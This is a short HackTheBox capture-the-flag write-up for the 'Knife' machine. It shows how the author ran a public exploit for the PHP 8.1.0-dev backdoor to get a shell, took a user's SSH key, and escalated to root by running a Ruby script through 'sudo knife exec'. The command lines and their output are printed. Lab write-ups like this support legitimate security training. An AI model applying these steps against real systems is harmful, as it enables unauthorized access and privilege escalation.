Knife

CTF	HackTheBox
Category	Writeup
Created	@July 2, 2021 8:01 PM
Date	
Description	
Fields	Pentest
Level	Easy
Tags	Backdoor PHP

Info

Web

- Apache 2.4.41
- PHP 8.1.0-dev

System

`/opt`

- `chef-workstatino`
- `opscode`

Path

User

1. After long~~~~ enum, I found PHP 8.1.0-dev has a backdoor, so use it to RCE.

```
python3 49933.py
Enter the full host url:
<http://10.10.10.242>

Interactive shell is opened on <http://10.10.10.242>
Can't acces tty; job crontol turned off.
$ whoami
james
```

1. Get `user.txt`, then get James's private key to log on SSH.

Root

1. We can run `knife` with `sudo`. After googling, we found we can use `knife` to execute command, so we can use it to gain root.

```
$ sudo -l
sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/
snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
```

1. Use `knife` to get root flag.

```
$ cat rev.rb
puts File.read("/root/root.txt")
$ sudo knife exec rev.rb
XXXXXXXXXXXXXXXXXXXXXXXXXXX
```